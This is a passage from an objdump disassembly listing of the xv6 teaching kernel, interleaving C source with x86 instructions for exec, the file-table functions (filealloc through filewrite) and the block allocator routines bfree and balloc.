<strlen> 80100c51: 83 c0 01 add $0x1,%eax 80100c54: 50 push %eax 80100c55: 8b 45 0c mov 0xc(%ebp),%eax 80100c58: ff 34 b8 pushl (%eax,%edi,4) 80100c5b: 53 push %ebx 80100c5c: 56 push %esi 80100c5d: e8 ce 64 00 00 call 80107130 <copyout> 80100c62: 83 c4 20 add $0x20,%esp 80100c65: 85 c0 test %eax,%eax 80100c67: 0f 88 4b ff ff ff js 80100bb8 <exec+0x1a8> for(argc = 0; argv[argc]; argc++) { 80100c6d: 8b 45 0c mov 0xc(%ebp),%eax ustack[3+argc] = sp; 80100c70: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) for(argc = 0; argv[argc]; argc++) { 80100c77: 83 c7 01 add $0x1,%edi ustack[3+argc] = sp; 80100c7a: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx for(argc = 0; argv[argc]; argc++) { 80100c80: 8b 04 b8 mov (%eax,%edi,4),%eax 80100c83: 85 c0 test %eax,%eax 80100c85: 75 a9 jne 80100c30 <exec+0x220> 80100c87: 8b b5 ec fe ff ff mov -0x114(%ebp),%esi ustack[2] = sp - (argc+1)*4; // argv pointer 80100c8d: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax 80100c94: 89 d9 mov %ebx,%ecx ustack[3+argc] = 0; 80100c96: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4) 80100c9d: 00 00 00 00 ustack[0] = 0xffffffff; // fake return PC 80100ca1: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100ca8: ff ff ff ustack[1] = argc; 80100cab: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100cb1: 29 c1 sub %eax,%ecx sp -= (3+argc+1) * 4; 80100cb3: 83 c0 0c add $0xc,%eax 80100cb6: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cb8: 50 push %eax 80100cb9: 52 push %edx 80100cba: 53 push %ebx 80100cbb: ff b5 f0 fe ff ff pushl -0x110(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100cc1: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cc7: e8 64 64 00 00 call 80107130 <copyout> 80100ccc: 83 c4 10 add $0x10,%esp 80100ccf: 85 c0 test %eax,%eax 80100cd1: 0f 88 e1 fe ff ff js 80100bb8 <exec+0x1a8> for(last=s=path; *s; s++) 80100cd7: 8b 45 08 mov 0x8(%ebp),%eax 80100cda: 0f b6 00 movzbl (%eax),%eax 80100cdd: 84 c0 test %al,%al 80100cdf: 74 17 je 80100cf8 <exec+0x2e8> 80100ce1: 8b 55 08 mov 0x8(%ebp),%edx 80100ce4: 89 d1 mov %edx,%ecx 80100ce6: 83 c1 01 add $0x1,%ecx 80100ce9: 3c 2f cmp $0x2f,%al 80100ceb: 0f b6 01 movzbl (%ecx),%eax 80100cee: 0f 44 d1 cmove %ecx,%edx 80100cf1: 84 c0 test %al,%al 80100cf3: 75 f1 jne 80100ce6 <exec+0x2d6> 80100cf5: 89 55 08 mov %edx,0x8(%ebp) safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100cf8: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100cfe: 50 push %eax 80100cff: 6a 10 push $0x10 80100d01: ff 75 08 pushl 0x8(%ebp) 80100d04: 89 f8 mov %edi,%eax 80100d06: 83 c0 6c add $0x6c,%eax 80100d09: 50 push %eax 80100d0a: e8 31 3c 00 00 call 80104940 <safestrcpy> curproc->pgdir = pgdir; 80100d0f: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx oldpgdir = curproc->pgdir; 80100d15: 89 f9 mov %edi,%ecx 80100d17: 8b 7f 04 mov 0x4(%edi),%edi curproc->tf->eip = elf.entry; // main 80100d1a: 8b 41 18 mov 0x18(%ecx),%eax curproc->sz = sz; 80100d1d: 89 31 mov %esi,(%ecx) curproc->pgdir = pgdir; 80100d1f: 89 51 04 mov %edx,0x4(%ecx) curproc->tf->eip = elf.entry; // main 80100d22: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d28: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d2b: 8b 41 18 mov 0x18(%ecx),%eax 80100d2e: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100d31: 89 0c 24 mov %ecx,(%esp) 80100d34: e8 c7 5d 00 00 call 80106b00 <switchuvm> freevm(oldpgdir); 80100d39: 89 3c 24 mov %edi,(%esp) 80100d3c: e8 6f 61 00 00 call 80106eb0 <freevm> return 0; 80100d41: 83 c4 10 add $0x10,%esp 80100d44: 31 c0 xor %eax,%eax 80100d46: e9 31 fd ff ff jmp 80100a7c <exec+0x6c> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100d4b: be 00 20 00 00 mov $0x2000,%esi 80100d50: e9 3c fe ff ff jmp 80100b91 <exec+0x181> 80100d55: 66 90 xchg %ax,%ax 80100d57: 66 90 xchg %ax,%ax 80100d59: 66 90 xchg %ax,%ax 80100d5b: 66 90 xchg %ax,%ax 80100d5d: 66 90 xchg %ax,%ax 80100d5f: 90 nop 80100d60 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d60: 55 push %ebp 80100d61: 89 e5 mov %esp,%ebp 80100d63: 83 ec 10 sub $0x10,%esp initlock(&ftable.lock, "ftable"); 80100d66: 68 6d 72 10 80 push $0x8010726d 80100d6b: 68 c0 ff 10 80 push $0x8010ffc0 80100d70: e8 9b 37 00 00 call 80104510 <initlock> } 80100d75: 83 c4 10 add $0x10,%esp 80100d78: c9 leave 80100d79: c3 ret 80100d7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100d80 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d80: 55 push %ebp 80100d81: 89 e5 mov %esp,%ebp 80100d83: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d84: bb f4 ff 10 80 mov $0x8010fff4,%ebx { 80100d89: 83 ec 10 sub $0x10,%esp acquire(&ftable.lock); 80100d8c: 68 c0 ff 10 80 push $0x8010ffc0 80100d91: e8 ba 38 00 00 call 80104650 <acquire> 80100d96: 83 c4 10 add $0x10,%esp 80100d99: eb 10 jmp 80100dab <filealloc+0x2b> 80100d9b: 90 nop 80100d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100da0: 83 c3 18 add $0x18,%ebx 80100da3: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100da9: 73 25 jae 80100dd0 <filealloc+0x50> if(f->ref == 0){ 80100dab: 8b 43 04 mov 0x4(%ebx),%eax 80100dae: 85 c0 test %eax,%eax 80100db0: 75 ee jne 80100da0 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100db2: 83 ec 0c sub $0xc,%esp f->ref = 1; 80100db5: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100dbc: 68 c0 ff 10 80 push $0x8010ffc0 80100dc1: e8 4a 39 00 00 call 80104710 <release> return f; } } release(&ftable.lock); return 0; } 80100dc6: 89 d8 mov %ebx,%eax return f; 80100dc8: 83 c4 10 add $0x10,%esp } 80100dcb: 8b 5d fc mov -0x4(%ebp),%ebx 80100dce: c9 leave 80100dcf: c3 ret release(&ftable.lock); 80100dd0: 83 ec 0c sub $0xc,%esp return 0; 80100dd3: 31 db xor %ebx,%ebx release(&ftable.lock); 80100dd5: 68 c0 ff 10 80 push $0x8010ffc0 80100dda: e8 31 39 00 00 call 80104710 <release> } 80100ddf: 89 d8 mov %ebx,%eax return 0; 80100de1: 83 c4 10 add $0x10,%esp } 80100de4: 8b 5d fc mov -0x4(%ebp),%ebx 80100de7: c9 leave 80100de8: c3 ret 80100de9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100df0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100df0: 55 push %ebp 80100df1: 89 e5 mov %esp,%ebp 80100df3: 53 push %ebx 80100df4: 83 ec 10 sub $0x10,%esp 80100df7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dfa: 68 c0 ff 10 80 push $0x8010ffc0 80100dff: e8 4c 38 00 00 call 80104650 <acquire> if(f->ref < 1) 80100e04: 8b 43 04 mov 0x4(%ebx),%eax 80100e07: 83 c4 10 add $0x10,%esp 80100e0a: 85 c0 test %eax,%eax 80100e0c: 7e 1a jle 80100e28 <filedup+0x38> panic("filedup"); f->ref++; 80100e0e: 83 c0 01 add $0x1,%eax release(&ftable.lock); 80100e11: 83 ec 0c sub $0xc,%esp f->ref++; 80100e14: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e17: 68 c0 ff 10 80 push $0x8010ffc0 80100e1c: e8 ef 38 00 00 call 80104710 <release> return f; } 80100e21: 89 d8 mov %ebx,%eax 80100e23: 8b 5d fc mov -0x4(%ebp),%ebx 80100e26: c9 leave 80100e27: c3 ret panic("filedup"); 80100e28: 83 ec 0c sub $0xc,%esp 80100e2b: 68 74 72 10 80 push $0x80107274 80100e30: e8 5b f5 ff ff call 80100390 <panic> 80100e35: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100e39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e40 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e40: 55 push %ebp 80100e41: 89 e5 mov %esp,%ebp 80100e43: 57 push %edi 80100e44: 56 push %esi 80100e45: 53 push %ebx 80100e46: 83 ec 28 sub $0x28,%esp 80100e49: 8b 5d 08 mov 0x8(%ebp),%ebx struct file ff; acquire(&ftable.lock); 80100e4c: 68 c0 ff 10 80 push $0x8010ffc0 80100e51: e8 fa 37 00 00 call 80104650 <acquire> if(f->ref < 1) 80100e56: 8b 43 04 mov 0x4(%ebx),%eax 80100e59: 83 c4 10 add $0x10,%esp 80100e5c: 85 c0 test %eax,%eax 80100e5e: 0f 8e 9b 00 00 00 jle 80100eff <fileclose+0xbf> panic("fileclose"); if(--f->ref > 0){ 80100e64: 83 e8 01 sub $0x1,%eax 80100e67: 85 c0 test %eax,%eax 80100e69: 89 43 04 mov %eax,0x4(%ebx) 80100e6c: 74 1a je 80100e88 <fileclose+0x48> release(&ftable.lock); 80100e6e: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e75: 8d 65 f4 lea -0xc(%ebp),%esp 80100e78: 5b pop %ebx 80100e79: 5e pop %esi 80100e7a: 5f pop %edi 80100e7b: 5d pop %ebp release(&ftable.lock); 80100e7c: e9 8f 38 00 00 jmp 80104710 <release> 80100e81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ff = *f; 80100e88: 0f b6 43 09 movzbl 0x9(%ebx),%eax 80100e8c: 8b 3b mov (%ebx),%edi release(&ftable.lock); 80100e8e: 83 ec 0c sub $0xc,%esp ff = *f; 80100e91: 8b 73 0c mov 0xc(%ebx),%esi f->type = FD_NONE; 80100e94: c7 03 00 00 00 00 movl $0x0,(%ebx) ff = *f; 80100e9a: 88 45 e7 mov %al,-0x19(%ebp) 80100e9d: 8b 43 10 mov 0x10(%ebx),%eax release(&ftable.lock); 80100ea0: 68 c0 ff 10 80 push $0x8010ffc0 ff = *f; 80100ea5: 89 45 e0 mov %eax,-0x20(%ebp) release(&ftable.lock); 80100ea8: e8 63 38 00 00 call 80104710 <release> if(ff.type == FD_PIPE) 80100ead: 83 c4 10 add $0x10,%esp 80100eb0: 83 ff 01 cmp $0x1,%edi 80100eb3: 74 13 je 80100ec8 <fileclose+0x88> else if(ff.type == FD_INODE){ 80100eb5: 83 ff 02 cmp $0x2,%edi 80100eb8: 74 26 je 80100ee0 <fileclose+0xa0> } 80100eba: 8d 65 f4 lea -0xc(%ebp),%esp 80100ebd: 5b pop %ebx 80100ebe: 5e pop %esi 80100ebf: 5f pop %edi 80100ec0: 5d pop %ebp 80100ec1: c3 ret 80100ec2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pipeclose(ff.pipe, ff.writable); 80100ec8: 0f be 5d e7 movsbl -0x19(%ebp),%ebx 80100ecc: 83 ec 08 sub $0x8,%esp 80100ecf: 53 push %ebx 80100ed0: 56 push %esi 80100ed1: e8 7a 24 00 00 call 80103350 <pipeclose> 80100ed6: 83 c4 10 add $0x10,%esp 80100ed9: eb df jmp 80100eba <fileclose+0x7a> 80100edb: 90 nop 80100edc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi begin_op(); 80100ee0: e8 bb 1c 00 00 call 80102ba0 <begin_op> iput(ff.ip); 80100ee5: 83 ec 0c sub $0xc,%esp 80100ee8: ff 75 e0 pushl -0x20(%ebp) 80100eeb: e8 c0 08 00 00 call 801017b0 <iput> end_op(); 80100ef0: 83 c4 10 add $0x10,%esp } 80100ef3: 8d 65 f4 lea -0xc(%ebp),%esp 80100ef6: 5b pop %ebx 80100ef7: 5e pop %esi 80100ef8: 5f pop %edi 80100ef9: 5d pop %ebp end_op(); 80100efa: e9 11 1d 00 00 jmp 80102c10 <end_op> panic("fileclose"); 80100eff: 83 ec 0c sub $0xc,%esp 80100f02: 68 7c 72 10 80 push $0x8010727c 80100f07: e8 84 f4 ff ff call 80100390 <panic> 80100f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f10 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100f10: 55 push %ebp 80100f11: 89 e5 mov %esp,%ebp 80100f13: 53 push %ebx 80100f14: 83 ec 04 sub $0x4,%esp 80100f17: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100f1a: 83 3b 02 cmpl $0x2,(%ebx) 80100f1d: 75 31 jne 80100f50 <filestat+0x40> ilock(f->ip); 80100f1f: 83 ec 0c sub $0xc,%esp 80100f22: ff 73 10 pushl 0x10(%ebx) 80100f25: e8 56 07 00 00 call 80101680 <ilock> stati(f->ip, st); 80100f2a: 58 pop %eax 80100f2b: 5a pop %edx 80100f2c: ff 75 0c pushl 0xc(%ebp) 80100f2f: ff 73 10 pushl 0x10(%ebx) 80100f32: e8 f9 09 00 00 call 80101930 <stati> iunlock(f->ip); 80100f37: 59 pop %ecx 80100f38: ff 73 10 pushl 0x10(%ebx) 80100f3b: e8 20 08 00 00 call 80101760 <iunlock> return 0; 80100f40: 83 c4 10 add $0x10,%esp 80100f43: 31 c0 xor %eax,%eax } return -1; } 80100f45: 8b 5d fc mov -0x4(%ebp),%ebx 80100f48: c9 leave 80100f49: c3 ret 80100f4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100f50: b8 ff ff ff ff mov $0xffffffff,%eax 80100f55: eb ee jmp 80100f45 <filestat+0x35> 80100f57: 89 f6 mov %esi,%esi 80100f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100f60 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f60: 55 push %ebp 80100f61: 89 e5 mov %esp,%ebp 80100f63: 57 push %edi 80100f64: 56 push %esi 80100f65: 53 push %ebx 80100f66: 83 ec 0c sub $0xc,%esp 80100f69: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f6c: 8b 75 0c mov 0xc(%ebp),%esi 80100f6f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f72: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f76: 74 60 je 80100fd8 <fileread+0x78> return -1; if(f->type == FD_PIPE) 80100f78: 8b 03 mov (%ebx),%eax 80100f7a: 83 f8 01 cmp $0x1,%eax 80100f7d: 74 41 je 80100fc0 <fileread+0x60> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f7f: 83 f8 02 cmp $0x2,%eax 80100f82: 75 5b jne 80100fdf <fileread+0x7f> ilock(f->ip); 80100f84: 83 ec 0c sub $0xc,%esp 80100f87: ff 73 10 pushl 0x10(%ebx) 80100f8a: e8 f1 06 00 00 call 80101680 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f8f: 57 push %edi 80100f90: ff 73 14 pushl 0x14(%ebx) 80100f93: 56 push %esi 80100f94: ff 73 10 pushl 0x10(%ebx) 80100f97: e8 c4 09 00 00 call 80101960 <readi> 80100f9c: 83 c4 20 add $0x20,%esp 80100f9f: 85 c0 test %eax,%eax 80100fa1: 89 c6 mov %eax,%esi 80100fa3: 7e 03 jle 80100fa8 <fileread+0x48> f->off += r; 80100fa5: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100fa8: 83 ec 0c sub $0xc,%esp 80100fab: ff 73 10 pushl 0x10(%ebx) 80100fae: e8 ad 07 00 00 call 80101760 <iunlock> return r; 80100fb3: 83 c4 10 add $0x10,%esp } panic("fileread"); } 80100fb6: 8d 65 f4 lea -0xc(%ebp),%esp 80100fb9: 89 f0 mov %esi,%eax 80100fbb: 5b pop %ebx 80100fbc: 5e pop %esi 80100fbd: 5f pop %edi 80100fbe: 5d pop %ebp 80100fbf: c3 ret return piperead(f->pipe, addr, n); 80100fc0: 8b 43 0c mov 0xc(%ebx),%eax 80100fc3: 89 45 08 mov %eax,0x8(%ebp) } 80100fc6: 8d 65 f4 lea -0xc(%ebp),%esp 80100fc9: 5b pop %ebx 80100fca: 5e pop %esi 80100fcb: 5f pop %edi 80100fcc: 5d pop %ebp return piperead(f->pipe, addr, n); 80100fcd: e9 2e 25 00 00 jmp 80103500 <piperead> 80100fd2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100fd8: be ff ff ff ff mov $0xffffffff,%esi 80100fdd: eb d7 jmp 80100fb6 <fileread+0x56> panic("fileread"); 80100fdf: 83 ec 0c sub $0xc,%esp 80100fe2: 68 86 72 10 80 push $0x80107286 80100fe7: e8 a4 f3 ff ff call 80100390 <panic> 80100fec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100ff0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100ff0: 55 push %ebp 80100ff1: 89 e5 mov %esp,%ebp 80100ff3: 57 push %edi 80100ff4: 56 push %esi 80100ff5: 53 push %ebx 80100ff6: 83 ec 1c sub $0x1c,%esp 80100ff9: 8b 75 08 mov 0x8(%ebp),%esi 80100ffc: 8b 45 0c mov 0xc(%ebp),%eax int r; if(f->writable == 0) 80100fff: 80 7e 09 00 cmpb $0x0,0x9(%esi) { 80101003: 89 45 dc mov %eax,-0x24(%ebp) 80101006: 8b 45 10 mov 0x10(%ebp),%eax 80101009: 89 45 e4 mov %eax,-0x1c(%ebp) if(f->writable == 0) 8010100c: 0f 84 aa 00 00 00 je 801010bc <filewrite+0xcc> return -1; if(f->type == FD_PIPE) 80101012: 8b 06 mov (%esi),%eax 80101014: 83 f8 01 cmp $0x1,%eax 80101017: 0f 84 c3 00 00 00 je 801010e0 <filewrite+0xf0> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 8010101d: 83 f8 02 cmp $0x2,%eax 80101020: 0f 85 d9 00 00 00 jne 801010ff <filewrite+0x10f> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101026: 8b 45 e4 mov -0x1c(%ebp),%eax int i = 0; 80101029: 31 ff xor %edi,%edi while(i < n){ 8010102b: 85 c0 test %eax,%eax 8010102d: 7f 34 jg 80101063 <filewrite+0x73> 8010102f: e9 9c 00 00 00 jmp 801010d0 <filewrite+0xe0> 80101034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 80101038: 01 46 14 add %eax,0x14(%esi) iunlock(f->ip); 8010103b: 83 ec 0c sub $0xc,%esp 8010103e: ff 76 10 pushl 0x10(%esi) f->off += r; 80101041: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101044: e8 17 07 00 00 call 80101760 <iunlock> end_op(); 80101049: e8 c2 1b 00 00 call 80102c10 <end_op> 8010104e: 8b 45 e0 mov -0x20(%ebp),%eax 80101051: 83 c4 10 add $0x10,%esp if(r < 0) break; if(r != n1) 80101054: 39 c3 cmp %eax,%ebx 80101056: 0f 85 96 00 00 00 jne 801010f2 <filewrite+0x102> panic("short filewrite"); i += r; 8010105c: 01 df add %ebx,%edi while(i < n){ 8010105e: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101061: 7e 6d jle 801010d0 <filewrite+0xe0> int n1 = n - i; 80101063: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101066: b8 00 06 00 00 mov $0x600,%eax 8010106b: 29 fb sub %edi,%ebx 8010106d: 81 fb 00 06 00 00 cmp $0x600,%ebx 80101073: 0f 4f d8 cmovg %eax,%ebx begin_op(); 80101076: e8 25 1b 00 00 call 80102ba0 <begin_op> ilock(f->ip); 8010107b: 83 ec 0c sub $0xc,%esp 8010107e: ff 76 10 pushl 0x10(%esi) 80101081: e8 fa 05 00 00 call 80101680 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101086: 8b 45 dc mov -0x24(%ebp),%eax 80101089: 53 push %ebx 8010108a: ff 76 14 pushl 0x14(%esi) 8010108d: 01 f8 add %edi,%eax 8010108f: 50 push %eax 80101090: ff 76 10 pushl 0x10(%esi) 80101093: e8 c8 09 00 00 call 80101a60 <writei> 80101098: 83 c4 20 add $0x20,%esp 8010109b: 85 c0 test %eax,%eax 8010109d: 7f 99 jg 80101038 <filewrite+0x48> iunlock(f->ip); 8010109f: 83 ec 0c sub $0xc,%esp 801010a2: ff 76 10 pushl 0x10(%esi) 801010a5: 89 45 e0 mov %eax,-0x20(%ebp) 801010a8: e8 b3 06 00 00 call 80101760 <iunlock> end_op(); 801010ad: e8 5e 1b 00 00 call 80102c10 <end_op> if(r < 0) 801010b2: 8b 45 e0 mov -0x20(%ebp),%eax 801010b5: 83 c4 10 add $0x10,%esp 801010b8: 85 c0 test %eax,%eax 801010ba: 74 98 je 80101054 <filewrite+0x64> } return i == n ? n : -1; } panic("filewrite"); } 801010bc: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 801010bf: bf ff ff ff ff mov $0xffffffff,%edi } 801010c4: 89 f8 mov %edi,%eax 801010c6: 5b pop %ebx 801010c7: 5e pop %esi 801010c8: 5f pop %edi 801010c9: 5d pop %ebp 801010ca: c3 ret 801010cb: 90 nop 801010cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return i == n ? n : -1; 801010d0: 39 7d e4 cmp %edi,-0x1c(%ebp) 801010d3: 75 e7 jne 801010bc <filewrite+0xcc> } 801010d5: 8d 65 f4 lea -0xc(%ebp),%esp 801010d8: 89 f8 mov %edi,%eax 801010da: 5b pop %ebx 801010db: 5e pop %esi 801010dc: 5f pop %edi 801010dd: 5d pop %ebp 801010de: c3 ret 801010df: 90 nop return pipewrite(f->pipe, addr, n); 801010e0: 8b 46 0c mov 0xc(%esi),%eax 801010e3: 89 45 08 mov %eax,0x8(%ebp) } 801010e6: 8d 65 f4 lea -0xc(%ebp),%esp 801010e9: 5b pop %ebx 801010ea: 5e pop %esi 801010eb: 5f pop %edi 801010ec: 5d pop %ebp return pipewrite(f->pipe, addr, n); 801010ed: e9 fe 22 00 00 jmp 801033f0 <pipewrite> panic("short filewrite"); 801010f2: 83 ec 0c sub $0xc,%esp 801010f5: 68 8f 72 10 80 push $0x8010728f 801010fa: e8 91 f2 ff ff call 80100390 <panic> panic("filewrite"); 801010ff: 83 ec 0c sub $0xc,%esp 80101102: 68 95 72 10 80 push $0x80107295 80101107: e8 84 f2 ff ff call 80100390 <panic> 8010110c: 66 90 xchg %ax,%ax 8010110e: 66 90 xchg %ax,%ax 80101110 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 80101110: 55 push %ebp 80101111: 89 e5 mov %esp,%ebp 80101113: 56 push %esi 80101114: 53 push %ebx 80101115: 89 d3 mov %edx,%ebx struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); 80101117: c1 ea 0c shr $0xc,%edx 8010111a: 03 15 d8 09 11 80 add 0x801109d8,%edx 80101120: 83 ec 08 sub $0x8,%esp 80101123: 52 push %edx 80101124: 50 push %eax 80101125: e8 a6 ef ff ff call 801000d0 <bread> bi = b % BPB; m = 1 << (bi % 8); 8010112a: 89 d9 mov %ebx,%ecx if((bp->data[bi/8] & m) == 0) 8010112c: c1 fb 03 sar $0x3,%ebx m = 1 << (bi % 8); 8010112f: ba 01 00 00 00 mov $0x1,%edx 80101134: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 80101137: 81 e3 ff 01 00 00 and $0x1ff,%ebx 8010113d: 83 c4 10 add $0x10,%esp m = 1 << (bi % 8); 80101140: d3 e2 shl %cl,%edx if((bp->data[bi/8] & m) == 0) 80101142: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx 80101147: 85 d1 test %edx,%ecx 80101149: 74 25 je 80101170 <bfree+0x60> panic("freeing free block"); bp->data[bi/8] &= ~m; 8010114b: f7 d2 not %edx 8010114d: 89 c6 mov %eax,%esi log_write(bp); 8010114f: 83 ec 0c sub $0xc,%esp bp->data[bi/8] &= ~m; 80101152: 21 ca and %ecx,%edx 80101154: 88 54 1e 5c mov %dl,0x5c(%esi,%ebx,1) log_write(bp); 80101158: 56 push %esi 80101159: e8 12 1c 00 00 call 80102d70 <log_write> brelse(bp); 8010115e: 89 34 24 mov %esi,(%esp) 80101161: e8 7a f0 ff ff call 801001e0 <brelse> } 80101166: 83 c4 10 add $0x10,%esp 80101169: 8d 65 f8 lea -0x8(%ebp),%esp 8010116c: 5b pop %ebx 8010116d: 5e pop %esi 8010116e: 5d pop %ebp 8010116f: c3 ret panic("freeing free block"); 80101170: 83 ec 0c sub $0xc,%esp 80101173: 68 9f 72 10 80 push $0x8010729f 80101178: e8 13 f2 ff ff call 80100390 <panic> 8010117d: 8d 76 00 lea 0x0(%esi),%esi 80101180 <balloc>: { 80101180: 55 push %ebp 80101181: 89 e5 mov %esp,%ebp 80101183: 57 push %edi 80101184: 56 push %esi 80101185: 53 push %ebx 80101186: 83 ec 1c sub $0x1c,%esp for(b = 0; b < sb.size; b += BPB){ 80101189: 8b 0d c0 09 11 80 mov 0x801109c0,%ecx { 8010118f: 89 45 d8 mov %eax,-0x28(%ebp) for(b = 0; b < sb.size; b += BPB){ 80101192: 85 c9 test %ecx,%ecx 80101194: 0f 84 87 00 00 00 je 80101221 <balloc+0xa1> 8010119a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 801011a1: 8b 75 dc mov -0x24(%ebp),%esi 801011a4: 83 ec 08 sub $0x8,%esp 801011a7: 89 f0 mov %esi,%eax 801011a9: c1 f8 0c sar $0xc,%eax 801011ac: 03 05 d8 09 11 80 add 0x801109d8,%eax 801011b2: 50 push %eax 801011b3: ff 75 d8 pushl -0x28(%ebp) 801011b6: e8 15 ef ff ff call 801000d0 <bread> 801011bb: 89 45 e4 mov %eax,-0x1c(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011be: a1 c0 09 11 80 mov 0x801109c0,%eax 801011c3: 83 c4 10 add $0x10,%esp 801011c6: 89 45 e0 mov %eax,-0x20(%ebp) 801011c9: 31 c0 xor %eax,%eax 801011cb: eb 2f jmp 801011fc <balloc+0x7c> 801011cd: 8d 76 00 lea 0x0(%esi),%esi m = 1 << (bi % 8); 801011d0: 89 c1 mov %eax,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011d2: 8b 55 e4 mov -0x1c(%ebp),%edx m = 1 << (bi % 8); 801011d5: bb 01 00 00 00 mov $0x1,%ebx 801011da: 83 e1 07 and $0x7,%ecx 801011dd: d3 e3 shl %cl,%ebx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011df: 89 c1 mov %eax,%ecx 801011e1: c1 f9 03 sar $0x3,%ecx 801011e4: 0f b6 7c 0a 5c movzbl 0x5c(%edx,%ecx,1),%edi 801011e9: 85 df test %ebx,%edi 801011eb: 89 fa mov %edi,%edx 801011ed: 74 41 je 80101230 <balloc+0xb0> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011ef: 83 c0 01 add $0x1,%eax 801011f2: 83 c6 01 add $0x1,%esi 801011f5: 3d 00 10 00 00 cmp $0x1000,%eax 801011fa: 74 05 je 80101201 <balloc+0x81> 801011fc: 39 75 e0 cmp %esi,-0x20(%ebp) 801011ff: 77 cf ja 801011d0 <balloc+0x50> brelse(bp); 80101201: 83 ec 0c sub $0xc,%esp 80101204: ff 75 e4 pushl -0x1c(%ebp) 80101207: e8 d4 ef ff ff call 801001e0 <brelse> for(b = 0; b < sb.size; b += BPB){ 8010120c: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101213: 83 c4 10 add $0x10,%esp 80101216: 8b 45 dc mov -0x24(%ebp),%eax 80101219: 39 05 c0 09 11 80 cmp %eax,0x801109c0 8010121f: 77 80 ja 801011a1 <balloc+0x21> panic("balloc: out of blocks"); 80101221: 83 ec 0c sub $0xc,%esp 80101224: 68 b2 72 10 80 push $0x801072b2 80101229: 